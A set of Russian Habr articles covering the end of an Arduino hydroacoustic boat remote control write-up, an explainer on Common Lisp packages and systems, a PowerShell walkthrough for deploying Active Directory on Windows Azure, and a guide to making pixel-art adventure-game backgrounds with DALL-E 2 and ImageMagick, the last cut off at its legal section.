Ардуина здесь для преобразования нажатия кнопок в код. Под спойлером не менее незатейливый скетч:
Remote sketch
```
#define BTN_FULL_STOP_PIN (5)
#define BTN_TURN_LEFT_PIN (2)
#define BTN_TURN_RIGHT_PIN (4)
#define BTN_FULL_SPEED_AHEAD_PIN (3)
#define BTN_ACTIVE_STATE (LOW)
#define BTN_INACTIVE_STATE (HIGH)
#define SW_STROBE_PIN (6)
#define SW_BIT_0_PIN (7)
#define SW_BIT_1_PIN (8)
#define SW_ACTIVE_STATE (LOW)
#define SW_INACTIVE_STATE (HIGH)
#define DEBOUNCE_MS (300)
#define CMD_STOP (0)
#define CMD_TURN_RIGHT (1)
#define CMD_TURN_LEFT (2)
#define CMD_FULL_SPEED_AHEAD (3)
long ts_tick = 0;
long tick = 0;
void cmd_Write(byte cmd)
{
digitalWrite(SW_BIT_1_PIN, cmd & 2);
digitalWrite(SW_BIT_0_PIN, cmd & 1);
digitalWrite(SW_STROBE_PIN, SW_ACTIVE_STATE);
delay(100);
digitalWrite(SW_BIT_1_PIN, SW_INACTIVE_STATE);
digitalWrite(SW_BIT_0_PIN, SW_INACTIVE_STATE);
digitalWrite(SW_STROBE_PIN, SW_INACTIVE_STATE);
}
void setup() {
pinMode(BTN_FULL_STOP_PIN, INPUT_PULLUP);
pinMode(BTN_TURN_LEFT_PIN, INPUT_PULLUP);
pinMode(BTN_TURN_RIGHT_PIN, INPUT_PULLUP);
pinMode(BTN_FULL_SPEED_AHEAD_PIN, INPUT_PULLUP);
pinMode(SW_STROBE_PIN, OUTPUT);
pinMode(SW_BIT_0_PIN, OUTPUT);
pinMode(SW_BIT_1_PIN, OUTPUT);
digitalWrite(SW_STROBE_PIN, SW_INACTIVE_STATE);
digitalWrite(SW_BIT_0_PIN, SW_INACTIVE_STATE);
digitalWrite(SW_BIT_0_PIN, SW_INACTIVE_STATE);
}
void loop() {
tick = millis();
if (tick - ts_tick >= DEBOUNCE_MS)
{
if (digitalRead(BTN_FULL_STOP_PIN) == BTN_ACTIVE_STATE)
{
cmd_Write(CMD_STOP);
}
else if (digitalRead(BTN_TURN_LEFT_PIN) == BTN_ACTIVE_STATE)
{
cmd_Write(CMD_TURN_LEFT);
}
else if (digitalRead(BTN_TURN_RIGHT_PIN) == BTN_ACTIVE_STATE)
{
cmd_Write(CMD_TURN_RIGHT);
}
else if (digitalRead(BTN_FULL_SPEED_AHEAD_PIN) == BTN_ACTIVE_STATE)
{
cmd_Write(CMD_FULL_SPEED_AHEAD);
}
ts_tick = tick;
}
}
```
Питается все от 9-вольтовой "Кроны". Забегая вперед, скажу, что этого хватило как минимум на 120 метров. Дальше не проверяли - лодку просто не видно издалека, и понять, куда она там едет практически невозможно.
А вот так это работает в жизни. Место действия - наш любимый [пруд Южный](https://goo.gl/maps/xjJrX28KmWDdJxLC9).
В середине видео я специально вынимаю антенну передатчика из воды, чтобы продемонстрировать, что без воды это не работает.
На следующем видео заметно, что у "Апалыча" явно какие-то проблемы с двигателями. Как выяснилось, мы опрометчиво облегчили лодку и винты время от времени оказывались частично в воздухе.
Неисправность парировали при помощи догрузки куском кирпича, так сказать "in situ".
Напоследок короткое видео, на котором лодка запечатлена на максимальном удалении от "судоводителя" - порядка 120-130 метров:
В сухом остатке
---------------
Как и планировали, мы сделали простую и рабочую гидроакустическую систему телеуправления. Конечно, не берусь утверждать, что проще сделать невозможно. Скажем, на данный момент, нам неизвестны способы сделать систему еще проще с условием сохранением функционала и характеристик.
В планах - увеличить число команд и обеспечить совместимость с одной из наших трекинговых систем. По результатам обязательно доложу.
Благодарю вас за внимание! Также я и мои коллеги будем искренне благодарны за сообщения об ошибках, вопросы и интересную дискуссию. | https://habr.com/ru/post/550910/ | null | ru | null |
# Пакеты, системы, модули, библиотеки — КАКОГО?
По моим наблюдениям, минимум раз в неделю в списке [c.l.l](http://groups.google.com/group/comp.lang.lisp) или другом Lisp-списке [«новички»](http://ru.wikipedia.org/wiki/%D0%9D%D0%BE%D0%B2%D0%B8%D1%87%D0%BE%D0%BA) путаются в том, что связано с пакетами. Говорят о «загрузке» пакета, «требовании» (requiring) пакета, удивляются тому, что после загрузки системы нужно пользоваться [маркерами пакетов](http://www.lispworks.com/documentation/HyperSpec/Body/26_glo_p.htm#package_marker) и т.д. Меня это раздражает, думаю также, что это может быть одной из причин, почему начинающие считают, что использование библиотек в Lisp сложнее, чем есть на самом деле.
Обычно я прекращаю попытки написать полезное объяснение, и, естественно, это объяснение очень простое. Я создал эту страницу, чтобы в следующий раз просто отправить сюда, вместо того, чтобы снова и снова объяснять одно и то же.
Прежде всего следует иметь ясную голову. Термин «пакет» сильно перегружен. В дистрибутивах Linux вроде Debian или Gentoo есть «пакеты», «пакеты» есть в языках программирования Java, Perl или Python. Вполне вероятно, что вы пришли в Lisp с предвзятым мнением относительно того, что такое «пакет» или чем он должен быть.
#### Пакеты
*Пакетом* в Common Lisp называется полноправный элемент языка, семантика которого четко определена стандартом. Более того, из всех обсуждаемых на этой странице терминов, этот — единственный, имеющий (в контексте Common Lisp) однозначное определение. Пакеты — это, строго говоря, контейнеры для символов. Можно сказать, что они нужны для помощи в организации отдельных пространств имен в ваших программах.
В Common Lisp есть функции и макросы для создания, изменения, исследования и удаления пакетов. Очень хорошее введение в пакеты (и символы) можно найти в [главе 21](http://lisper.ru/pcl/programming-in-the-large-packages-and-symbols) великолепной книги [Practical Common Lisp](http://lisper.ru/pcl/) Питера Сайбела. Определение термина находится в [главе 11](http://www.lispworks.com/documentation/HyperSpec/Body/11_.htm) (онлайн-версии) стандарта [ANSI Common Lisp specification](http://www.lispworks.com/documentation/common-lisp.html).
В общем, про пакеты это всё. Говоря технически, вы не *загружаете* пакеты. Вы можете загрузить (с помощь [`LOAD`](http://www.lispworks.com/documentation/HyperSpec/Body/f_load.htm)) код, который в свою очередь создаст пакет, и это существенное различие.
Кроме того, если ваш Lisp жалуется, что не может найти какой-то пакет, это означает, что пакета как Lisp-объекта нет в образе (т.е. [`FIND-PACKAGE`](http://www.lispworks.com/documentation/HyperSpec/Body/f_find_p.htm) возвращает `NIL`), потому что его еще никто не создал. Это не означает, что Lisp-машина поискала в файловой системе и ничего не нашла. (Частая причина такой неудачи состоит в том, что события происходят в неправильном порядке. Об этом ниже.)
#### Системы
Системы, в отличие от пакетов, даже не упоминаются в [стандарте](http://www.lispworks.com/documentation/common-lisp.html). Тем не менее, опытные Lisp-программисты знают этот термин, поскольку им потребуютется знать и применять какой-то инструмент определения систем. Наиболее заметный сегодня — [ASDF](http://www.cliki.net/asdf) (используется большинством Lisp-библиотек с открытым исходным кодом); другой известный инструмент определения систем, гораздо старше ASDF — [MK:DEFSYSTEM](http://www.cliki.net/mk-defsystem). Некоторые разработчики также поставляют свои инструменты определения систем вместе с дистрибутивами, см. например, [Common Defsystem](http://www.lispworks.com/documentation/lw50/LWUG/html/lwuser-195.htm) для LispWorks.
В этом ключе система, строго говоря, это набор кода плюс инструкция по его обработке, например, зависимости от других систем, что следует загрузить/скомпилировать в первую очередь и т.д. Другими словами, инструмент определения систем по своему назначению похож на [make](http://ru.wikipedia.org/wiki/Make) или [Ant](http://ru.wikipedia.org/wiki/Apache_Ant).
Кроме того, инструмент определения систем обычно может намного больше — Common Defsystem может, например, [интегрировать файлы библиотек типов COM](http://www.lispworks.com/documentation/lw50/COM/html/com-131.htm), ASDF полностью расширяем и использовался, среди прочего, для [компиляции файлов на C](http://git.b9.com/cgi-bin/gitweb.cgi?p=clsql.git;a=blob_plain;f=clsql-uffi.asd;hb=master). Он также часто используется для [определения тестовых наборов](http://weitz.de/odd-streams/#download) описываемой системы.
Хотя ASDF и весьма популярен, он не вездесущ. Он идет предустановленным со многими Lisp-системами вроде SBCL, OpenMCL или AllegroCL, вероятнее всего, что он загрузится и в других Lisp-системах, но этот факт не делает его частью Common Lisp. Это набор кода без явной спецификации и с разными версиями, которые бывают несовместимы между собой.
Поди пойми…
#### Модули
[Стандарт](http://www.lispworks.com/documentation/common-lisp.html) определяет модули лишь поверхностно. Есть две вещи, которые нужно знать о [`REQUIRE`](http://www.lispworks.com/documentation/HyperSpec/Body/f_provid.htm), [`PROVIDE`](http://www.lispworks.com/documentation/HyperSpec/Body/f_provid.htm) и [`*MODULES*`](http://www.lispworks.com/documentation/HyperSpec/Body/v_module.htm) — эта функциональность не рекомендуется (deprecated) и зависит от реализации. Пусть вас не беспокоит тот факт, что эта функциональность не рекомендуется. Все дистрибутивы сегодня содержат указанные функции, и вероятность того, что появится новый стандарт ANSI и все реализации внезапно уберут их, конечно, мала. Вот о чем стоит беспокоиться, так это о том, что `REQUIRE` может быть удобным, но не переносимым методом (если вас, конечно, беспокоят механизмы переносимости).
Например, в LispWorks можно использовать
```
(require "foreign-parser")
```
для загрузки [парсера, способного читать определения на C](http://www.lispworks.com/documentation/lw50/FLI/html/fli-167.htm), но это не сработает на OpenMCL. Также можно вызвать
```
(require :asdf)
```
для загрузки ASDF на OpenMCL, но не в LispWorks.
Некоторые дистрибутивы предлагают *хуки* для настройки работы `REQUIRE`, и существуют расширения вроде [common-lisp-controller](http://www.cliki.net/common-lisp-controller), соединяющие REQUIRE с ASDF, однако в общем случае модуль — это такая штуковина, которая зависит от реализации и которую не следует путать с системами (ASDF), и, тем более, с пакетами.
#### Библиотеки
Скорее всего вы не найдете четкого определения, что такое библиотека. Большинство людей думают об этом как о коллекции кода, предназначенного для выполнения одной или нескольких определенных задач и распространяемого как единое целое, обычно в виде сжатого архива, который можно откуда-то скачать. На самом деле, это неясное определение является, думаю, наиболее подходящим при разговоре о программах, написанных на Lisp. Большинство Lisp-библиотек сегодня включают в себя определение (ASDF) системы, но это вовсе не обязательно. Возможно, в зависимости от способа получения, это будет модуль в вашей Lisp-системе, но и это тоже не обязательно. Кроме того, библиотека обычно определяет один или несколько пакетов, а может и не определять ни одного.
И, по соглашению, а может из-за недостатка фантазии, может сложится и часто складывается ситуация, когда библиотека «Ку» идет с определением системы «Ку», которую можно загрузить как модуль «Ку». После загрузки кода получите новый пакет, называемый «Ку». Четыре разных сущности с одинаковым именем! Я допускаю, что это сбивает с толку, но надеюсь, что несколько предыдущих абзацев помогли слегка прояснить ситуацию.
#### Но у меня все еще ничего не работает!
Часто люди жалуются, что они не могут скомпилировать файл, содержащий код вроде этого:
```
;; в этой строчка также может быть написано (require :cl-ppcre)
(asdf:oos 'asdf:load-op :cl-ppcre)
(defun my-simple-number-scanner (string)
(cl-ppcre:scan "^[0-9]+$" string))
```
Почему так? Почему я могу загрузить этот файл, но не могу скомпилировать его? И почему я могу скомпилировать его после загрузки? Не странно ли?
Нет, не странно. Компилятор читает первую форму (которая является инструкцией скомпилировать — если необходимо — и загрузить систему CL-PPCRE, но не выполнить ее. В конце концов, компилятор заинтересован лишь в компиляции кода. После выполнения первой формы он переходит ко второй форме, к определению функции. Здесь возможно сообщение об ошибке, так как Lisp-сканер, пытающийся читать эту форму, обнаружит последовательность символов «cl-ppcre:scan», которая должна обозначать [внешний символ](http://www.lispworks.com/documentation/HyperSpec/Body/26_glo_e.htm#external_symbol) из пакета CL-PPCRE, но самого пакета CL-PPCRE еще нет. В процессе загрузки системы CL-PPCRE, кроме всего прочего, создается пакет CL-PPCRE, но этого еще не произошло. Читайте [главу 3](http://www.lispworks.com/documentation/HyperSpec/Body/03_.htm) CLHS.
Можно воспользоваться [`EVAL-WHEN`](http://www.lispworks.com/documentation/HyperSpec/Body/s_eval_w.htm) для указания компилятору загрузить CL-PPCRE перед чтением второй формы. Следует, однако, найти другой способ организации своего кода. Первая форма — это просто обявление того, что ваш код зависит от системы CL-PPCRE. Такое не должно находиться в том же файле, что и Lisp-код. [Напишите определение системы](http://weitz.de/starter-pack/#own) для вашей программы и поместите зависимости туда. | https://habr.com/ru/post/146574/ | null | ru | null |
# Установка новой инфраструктуры Active Directory в Windows Azure
В ходе данной статьи я расскажу о развертывании нового сервиса Windows Azure Active Directory и присоединении новых виртуальных машин. Перед тем, как приступить к развертыванию Active Directory необходимо:
• Настроить **Virtual Networking**, включая **Affinity Group**.
• Создать учетную запись хранения (Storage Account).
• Установить **Windows PowerShell**.
##### Создание первой Virtual Machines.
1. Запустите **Windows Azure PowerShell**, и выполните следующую команду:
```
Set-ExecutionPolicy RemoteSigned
```
2. Далее, подключите соответствующие модули:
```
Import-Module 'C:\Program Files (x86)\Microsoft SDKs\Windows Azure\PowerShell\Azure\Azure.psd1'
```
3. Необходимо загрузить **.publishsettings file** вашей подписки Windows Azure, для того чтобы при последующих запусках избавить себя от первоначальных настроек:
```
Get-AzurePublishSettingsFile
```
4. Далее, запустите **Windows Azure PowerShell ISE**:
```
powershell ise
```
5. Вставьте следующий скрипт, в **Windows Azure PowerShell ISE**, и отредактируйте скрипт под свою подписку: путь к **PublishSettingsFile**, **SubscriptionName**, **StorageAccount** и т.д.
```
Import-Module "C:\Program Files (x86)\Microsoft SDKs\Windows Azure\PowerShell\Azure\Azure.psd1"
Import-AzurePublishSettingsFile 'E:\PowerShell\ MyAccount.publishsettings'
Set-AzureSubscription -SubscriptionName MSDN -CurrentStorageAccount Test
Select-AzureSubscription -SubscriptionName MSDN
$myDNS = New-AzureDNS -Name 'myDNS' -IPAddress '127.0.0.1'
$vmname = 'Test'
$image = 'MSFT__Win2K8R2SP1-Datacenter-201207.01-en.us-30GB.vhd'
$service = 'YourHabrahabr'
$AG = 'Habrahabr'
$vnet = 'HabrahabrVM'
#Конфигурирование VM's
$MyDC = New-AzureVMConfig -name $vmname -InstanceSize 'Small' -ImageName $image |
Add-AzureProvisioningConfig -Windows -Password 'Pa$w0rd!' |
Set-AzureSubnet -SubnetNames 'BackEnd'
New-AzureVM -ServiceName $service -AffinityGroup $AG -VMs $MyDC -DnsSettings $myDNS -VNetName $vnet
```
6. Убедится в том, что скрипт работает правильно, можно, — просмотрев ход работы на портале Windows Azure:
*Портал управления Windows Azure*
7. Далее, к ранее созданной виртуальной машине необходимо присоединить **Empty Disk**:
*Присоединение пустого диска*
8. Для подключения к виртуальной машине нажмите Connect и загрузите .rdp профиль для осуществления удаленного соединения.
*Инициализация диска*
##### Развертывание контроллера домена.
1. Подключитесь к виртуальной машине с помощью ранее скаченного профиля удаленного подключения **.rdp**.
2. После подключения, выполните команду **IPConfig**, для получения IP-адреса.
3. Откройте **Computer Management**, для инициализации присоединенного раннее диска.
4. Запустите **Active Directory Domain Services Installation Wizard**, командой **DCPromo**.
*Добавление роли AD DS*
5. Выберите **Create a domain in a new forest**.
*Создание AD DS*
6. Назовите **Forest Root Domain** и укажите функциональный уровень, как **Windows Server 2008 R2**. Для создания DNS-server’a оставьте стандартный выбор.
7. Поскольку при использовании виртуальных машин Windows Azure, IP-адрес присваивается только на то время пока запущена эта виртуальная машина, нажмите **Yes, the computer will use an IP address automatically assigned by a DCHP server (not recommended).**
*Использование автоматически назначаемого IP-адреса*
8. В завершении, остается определить расположение папок Databases, Log files и SYSVOL на ранее созданном диске.
##### Развертывание новых виртуальных машин и присоединение к домену из PowerShell
Данный раздел демонстрирует пример того, как можно автоматически развернуть новые виртуальные машины к созданному домену.
1. Откройте в режиме администратора Windows Azure PowerShell.
2. Настройте DNS для новой виртуальной машины. Для этого понадобится виртуальная машина, созданная ранее и настроенная для Active Directory.
```
$advmIP = '[IP-ADDRESS]'
$advmName = '[AD-NAME]'
# IP-адрес контроллера домена
$dns1 = New-AzureDns -Name $advmName -IPAddress $advmIP
```
3. Далее, необходимо настроить виртуальную машину так, чтобы она автоматически входила в домен AD на стадии развертывания.
```
$vmName = 'adtest'
$adminPassword = '[PASSWORD]'
$domainPassword = '[PASSWORD]'
$domainUser = 'administrator'
$FQDomainName = 'testHabrAD.com'
$subNet = 'AppSubnet'
# Настройка VM для автоматического входа в домен
$advm1 = New-AzureVMConfig -Name $vmName -InstanceSize Small -ImageName $imgName |
Add-AzureProvisioningConfig -WindowsDomain -Password $adminPassword `
-Domain ' testHabrAD' -DomainPassword $domainPassword `
-DomainUserName $domainUser -JoinDomain $FQDomainName |
Set-AzureSubnet -SubnetNames $subNet
```
##### Заключение
В этом посте я рассмотрел процесс создания нового Active Directory домена в Windows Azure IaaS, частично используя Windows Azure PowerShell. | https://habr.com/ru/post/158211/ | null | ru | null |
# Графика для эдвенчуры с DALL-E 2
Недавно я получил доступ к OpenAI [DALL-E 2](https://openai.com/dall-e-2/). Конечно, очень весело создавать с его помощью котиков на аватарки, но ведь модель можно использовать и в других видах творческой работы.
О сильных и слабых сторонах DALL-E рассказано неоднократно, поэтому я не буду на этом останавливаться. Отмечу только, что эта нейросеть не станет угрозой высокому искусству. Модель имеет представление о том, как выглядят вещи и как они могут визуально сочетаться друг с другом, но она очень расплывчато представляет, как они *работают* (она не разбирается в анатомии, архитектуре, тонкостях обеденного этикета викторианской эпохи, художественной критике). Так что отрисовка объектов не достигает уровня реализма, поэтому я бы не слишком беспокоился на тему создания фальшивых новостей.
Тем не менее, под руководством человека и с тщательно выбранной сферой работы DALL-E все же может делать очень впечатляющие вещи. Я подозреваю, что графика игр жанра Adventure в духе «укажи и кликни» ([Point-and-click](https://ru.wikipedia.org/wiki/Point-and-click)) может быть одной из таких сфер. Я изучил потенциал DALL-E в данной области и написал этот кейс.
### Источник вдохновения
Игры Adventure «укажи и кликни» представляют собой довольно широкий жанр с множеством различных художественных стилей. Я сосредоточился на поджанре, близком к стилю эдвенчур от Sierra и LucasArts начала 1990-х. Обычно они работают с разрешением экрана 320 × 200 и выглядят пикселизированными, особенно на современном дисплее:
Space Quest IV (Sierra On-Line 1991)Индиана Джонс и судьба Атлантиды (LucasArts, 1992)Современные разработчики игр иногда работают с низким разрешением, что приводит к аналогичному эффекту:
Последняя дверь (The Game Kitchen, 2013-2017)Кэти Рейн (Clifftop Games, 2016)Доярка Млечного Пути (Machineboy, 2017)На первый взгляд пиксельная графика кажется излишним ограничением, но у неё есть свои преимущества. Она многое прощает и даёт простор для творчества:
* Перспектива не обязательно должна быть реалистичной или даже последовательной. Её часто настраивают чисто по практическим соображениям, например, чтобы устранить визуальный беспорядок, предоставить больше места для действия или для лучшей совместимости с пиксельной сеткой.
* Пикселизация помогает обойти неприятную проблему DALL-E, когда она создаёт странные пятна и плохо передаёт детали. Это также помогает при ручной ретуши, поскольку нет очень мелких деталей или текстур, которые нужно точно передать.
* Ваши художества выглядят странно? [Беспокоитесь об эффекте зловещей долины](https://en.wikipedia.org/wiki/Uncanny_valley)? Совершите бесплатный тур по жанру Adventure. Почувствуйте, как ваши проблемы уходят, когда он обнимает вас своей рукой. И ещё одной рукой. И ещё одной...
Кхм. Я пытаюсь сказать, что это замечательный, забавный жанр с огромной степенью свободы. И она нам понадобится!
### Как перевести в пиксели
Хотя вы можете приказать DALL-E создавать пиксельную графику напрямую, это даже отдалённо не соответствует задаче. Модель просто не знает, как работает пиксельная сетка. Готовое изображение, как правило, будет иметь некоторые характерные особенности пиксельной графики (плоская перспектива, прямые углы, ограниченная цветовая палитра), замешанные в хаотичное нагромождение смазанных прямоугольников всех размеров:
"Вход в отель в Мексике, стиль пиксель-арт"Это, конечно, впечатляет, но скорее в ключе: «пресвятые эникеи, оно, кажется, поняло, что я имел в виду»! Но даже если вы очистите сетку, то вряд ли получите последовательный стиль, и вы не можете контролировать размер сетки.
К счастью, пикселизацию можно легко отделить от основной творческой задачи и передать специализированному инструменту. В своих сценариях я использовал magick:
`$ magick -adaptive-resize 25% -scale 400% in.png out.png`
Стоит попробовать разные фильтры передискретизации. Оператор ImageMagick [-adaptive-resize](https://imagemagick.org/script/command-line-options.php?#adaptive-resize) даёт хороший и четкий вывод, но при таком уменьшении дискретизации можно получить варианты получше.
Вы также можете поэкспериментировать с уменьшением цвета и дизерингом. Изображения, которые я создал для этой статьи, были обработаны следующим образом:
`$ magick -adaptive-resize 25% -ordered-dither checks,32,32,32 \`
`-scale 800% in.png out.png`
Пикселизация происходит до соотношения 1:4, ограничивая вывод цветовым кубом с 32 уровнями на канал (т. е. 15-битный цвет) и применяя тонкое — но не слишком тонкое — сглаживание в шахматном порядке. Изображение также масштабируется в два раза по сравнению с исходным размером для удобного просмотра в браузере.
### Подсказки по стилю и отбор изображений
После серии проб и ошибок я остановился на ряде подсказок, связанных с техниками, стилями и авторами изобразительного искусства: холст, масло, высокий ренессанс, модернизм, прецизионизм. Это позволило с высокой вероятностью получить несколько повторяющихся стилей с достаточной, но не слишком высокой детализацией:
"Фасад мексиканской гасиенды в солнечный день, 2,5d (псевдотрёхмерность) модернистская живопись""Мексиканская гасиенда в солнечный день, окруженная равнинами, цветная картина Чарльза Шилера"Помимо важных деталей описания, таких как «солнечный день», на освещение, ракурсы камеры и декор могут значительно влиять расплывчатые определения, например, «атмосферный», «драматический», «высокое качество». Они очень ненадёжны, и у меня есть ощущение, что они могут вытеснить более важные части подсказки из крошечного разума модели. Лучше использовать компактные конкретные подсказки, пока вы не приблизитесь к желаемому результату, а потом… можете посмотреть, как всё развалится с добавлением ещё одного определения.
Что подводит нас ко второй части этой задачи, связанной с активным участием человека: отбору. Поскольку OpenAI создаёт четыре варианта для каждой подсказки, этот этап является обязательным. Она также необходима из-за того, что большая часть выходных данных совершенно не соответствует действительности. С правильной подсказкой вы можете получить выборку, в которой примерно 1/20 изображений являются хорошими (с незначительными дефектами) и 5/20 потенциально пригодными для доработки. Остальное будет явно негодным по разным причинам (крупные дефекты, проблемы в стилистике, антропоморфный столб на заднем плане).
Я думаю, такая же история происходит с впечатляющими мэшапами из DALL-E, которыми повсеместно делятся в сети. К тому времени, как вы их видите, они уже были отфильтрованы как минимум дважды. Один раз у источника и один или несколько раз в цепочке носителей, которые донесли картинки до вас. Вы не увидите сотни нелепых изображений, которые сопутствовали созданию пары удачных.
Поскольку для генерации каждого изображения требуется всего одна секунда, а для оценки — несколько секунд, проблема не страшная. Это просто означает, что DALL-E не волшебный и даже не очень умный. Но вы и так это знали, не правда ли?
### Выставление сцены
Локация в приключенческой игре чем-то напоминает театральную сцену. Рекомендуется сделать достаточно свободного места рядом с камерой, чтобы игрок мог ходить по нему. Также следует избегать сцен, где игрок может уйти далеко от камеры, так как вам придётся выбирать между комичным несоответствием перспективы и очень крошечной моделькой игрока, за которой трудно следить и сложно контролировать. Очевидно, что настоящая игра не будет строго следовать этим правилам, но у вас должна быть возможность реализовать их при необходимости.
К счастью, это можно сделать, и это не слишком сложно:
"Вход в здание в мексиканском городе и улица снаружи, в стиле атмосферной живописи высокого ренессанса, холст, масло""Вход в отель в мексиканском городе и улица снаружи, высокое качество, атмосферная живопись высокого ренессанса, холст, масло"Добиться более плоской перспективы позволяют такие слова, как «фасад». Аналогично помогают слова «диорама» и «миниатюра», хотя они имели тенденцию придавать картине болезненный вид. Также полезно указать типичную деталь на уровне земли, на которой нужно сосредоточиться, например, «вход». Я не уверен, что «2d» и «2.5d» действительно имеют какое-то значение. Собираем всё вместе:
* Укажите эпоху, время суток и условия освещения (например, «солнечный день 2000г»).
* Укажите конкретное местоположение («город», «деревня» или точное географическое место), центральную часть («фасад», «вход в гостиницу») и ближайшее окружение («дома», «улицы», «равнины»).
* Вы можете явно указать открытое пространство, например, «…и улица впереди» или «площадь, окруженная…».
* Иногда необходимо попросить, чтобы пространство было пустым, иначе DALL-E может дорисовать объекты и людей, которые вы хотели добавить позднее в качестве наложений.
* Вы также можете указать расположение камеры, например, «вид с балкона второго этажа», но есть риск, что детали на уровне земли получатся слишком мелкими.
* Некоторые комбинации модель не сможет отрисовать, что приведёт к игнорированию большей части вашей подсказки или добавлению странных макроснимков травинок и тому подобного. Будьте готовы перефразировать или пойти на компромисс. Подумайте о том, что может быть хорошо изображено моделью в тестовом доступе.
* Ни при каких обстоятельствах не упоминайте слово «видеоигра», если не хотите, чтобы всё было подсвечено синим неоновым светом.
### Ретушь и редактирование
Это легко сделать с помощью пользовательского интерфейса в браузере. Просто сотрите часть изображения, при желании отредактируйте подсказку и вперёд. Такая опция очень пригодится, если у вас получилась годная картинка, за исключением сосны, растущей из церковной башни, или импровизированного нашествия [морских свиней](https://en.wikipedia.org/wiki/Sea_Swine). Добавление объектов тоже работает. Вот вполне правдоподобный (хотя и неуместный) излюбленный способ передвижения злодея, получившийся с первой попытки:
"деревенский мексиканский особняк с зеленой территорией, спортивная машина, припаркованная впереди, в окружении небольших домиков в солнечный день, высокое качество, атмосферный высокий ренессанс, холст, масло"Вы также можете загружать изображения в формате PNG с альфа-каналом, хотя мне пришлось кое-где щёлкнуть ластиком, прежде чем модель поняла, что на изображении действительно есть прозрачные области. Я думаю, данный метод можно также использовать для заполнения изображений цветными пятнами, чтобы получить более последовательную палитру.
### Расширение изображений
DALL-E генерирует картинки размером 1024×1024 пикселей. Чтобы заполнить современный дисплей, вам нужно что-то приближенное к соотношению 19:10. Здесь пригодятся правки прозрачности. Нужно разделить исходное изображение на левую и правую половины и использовать их для заполнения двух новых изображений с прозрачными участками:
Это легко скриптуется. Обратите внимание, что вам нужно стереть подпись DALL-E с правой половины, чтобы она не просочилась в готовую картинку. Что-то типа такого должно сработать:
```
$ magick in.png -background none -extent 512x0 -splice 512x0 left.png
$ magick in.png \( +clone -fill white -colorize 100 -size 80x16 xc:black \
-gravity southeast -composite \) -alpha off -compose copy_opacity \
-composite -compose copy -background none -gravity east -extent 512x0 \
-splice 512x0 right.png
```
Загрузите left.png и right.png повторно, введите подсказку и создайте пару вариантов для каждой половинки. Поскольку контекста много, результаты обычно получаются хорошими. Затем сшейте половинки вместе следующим образом:
`$ magick +append left.png right.png out.png`
Еще немного дописав скрипт, вы сможете сгенерировать все возможные варианты и оценить их, например:
Вы также можете настроить подсказки для боковых изображений. Добавить бассейн или что-то еще:
Я не удивлюсь, если когда-нибудь такое расширение изображений войдет в стандартный набор инструментов.
### Другие вещи, которые DALL-E может делать, и некоторые, которые не может
С интерьерами у меня тоже были успехи. «Вырезка» (cutaway) оказалась удобной подсказкой, которая позволяет убрать стены и избежать клаустрофобного размещения камеры. Модель хорошо справлялась с декором и мебелью (например, «роскошная гостиная со столом и двумя стульями»). Она также могла генерировать иконки для предметов в инвентаре («почтовый конверт на черном фоне»). Впрочем, я не очень глубоко в это вникал.
Вы, наверное, заметили, что все сгенерированные изображения содержат дефекты. Некоторые можно исправить, удалив их и заполнив пробелы, но другие слишком многочисленны, неподатливы или малы. Это означает, что вам придется просматривать каждое изображение вручную до пикселизации (для грубого редактирования) и после (для внесения финальных штрихов). Вам также потребуется настроить цвета и уровни для единообразия.
DALL-E не может писать. На самом деле он едва ли способен расположить более трёх букв в правильной последовательности, поэтому, если вам нужны слова и обозначения, придётся вносить их самостоятельно. Карты и другие элементы, которые передают конкретную информацию, скорее всего тоже придётся исключить. Хотя вам может повезти, если вы будете использовать в основном прозрачный эскиз реплики.
Модель также вряд ли поможет с анимацией, особенно сложной многокадровой, такой как циклы ходьбы.
Если вы хотите преобразовать существующую дневную сцену в ночную, лучше всего это сделать вручную или с помощью модели переноса стиля.
Я понимаю, что затронул вопрос очень поверхностно и, вероятно, многое не учёл.
### Экономика OpenAI
OpenAI контролирует использование модели через систему кредитов. В настоящее время один кредит позволяет создавать четыре изображения из одной подсказки или три правки/варианта из одного изображения и подсказки. Я получил несколько бесплатных приветственных кредитов и мне обещают ещё 15 каждый месяц. Когда вы тратите кредит, для получения результатов требуется 4-5 секунд, то есть на одно изображение уходит около секунды. Вы можете купить 115 кредитов за 15 долларов + налог, что в моем случае составляет 18,75 долларов. Это 0,163 доллара за кредит или максимум 0,0543 доллара за изображение (партия из трёх штук).
Допустим, вы используете DALL-E для создания локаций игры типа «укажи и кликни». Сколько их вам понадобится? Что ж, одна очень успешная такая игра, [The Blackwell Epiphany](https://www.wadjeteyegames.com/games/blackwell-epiphany/) (созданная исключительно замечательными людьми из Wadjet Eye Games), [имеет около 70 локаций](https://www.gamesindustry.biz/wadjet-eye-streamers-pushed-me-to-make-the-game-that-ive-always-wanted-to-play). Если для своей игры вы собираетесь использовать изображения, сгенерированные ИИ, значит вы вряд ли пытаетесь конкурировать с одним из самых опытных разработчиков в отрасли, поэтому давайте снизим этот показатель до 50.
50 локаций — это все ещё много, и, как я уже упоминал ранее, только 1/20 изображений получаются адекватными. Для каждого местоположения вы, вероятно, можете обойтись 10 подходящими вариантами на выбор. Это означает, что вы создадите 200 изображений для каждого местоположения или всего 10 000 изображений. Давайте удвоим это, чтобы учесть дополнительную проверку, правки, горизонтальные расширения, поздние изменения в сценарии и старые добрые ошибки. Тогда 20 000 \* 0,0543 доллара = 1087 долларов. Поскольку большинство изображений будут генерироваться партиями по четыре, а не по три, будет справедливо округлить эту сумму до 1000 долларов. В любом случае, это, вероятно, не самые большие ваши расходы.
Как насчёт временных затрат? Я имею в виду, что оценка такого количества изображений кажется безумием, но давайте посчитаем и посмотрим. Если для создания изображения требуется около 1 с, а вы тратите около 5 с, решая, следует ли его сохранить (помним, что 95 % изображений моментально идентифицируются, как хлам, и вы будете рассматривать партии из четырёх), это 20 000 \* 6 с = 120 000 с или около 33 часов. Даже если вы можете заниматься этим только два часа в день, вам потребуется всего три-четыре недели.
На протяжении всего этого времени вы должны иметь возможность генерировать 10 вариантов и 10 правок для каждого местоположения. Дальнейшее ручное редактирование, скорее всего, займёт гораздо больше трёх недель, но у меня нет такого опыта, так что не могу сказать точно. Это также предполагает, что вы начинаете работу с составления подробного списка локаций.
### Юридические соображения
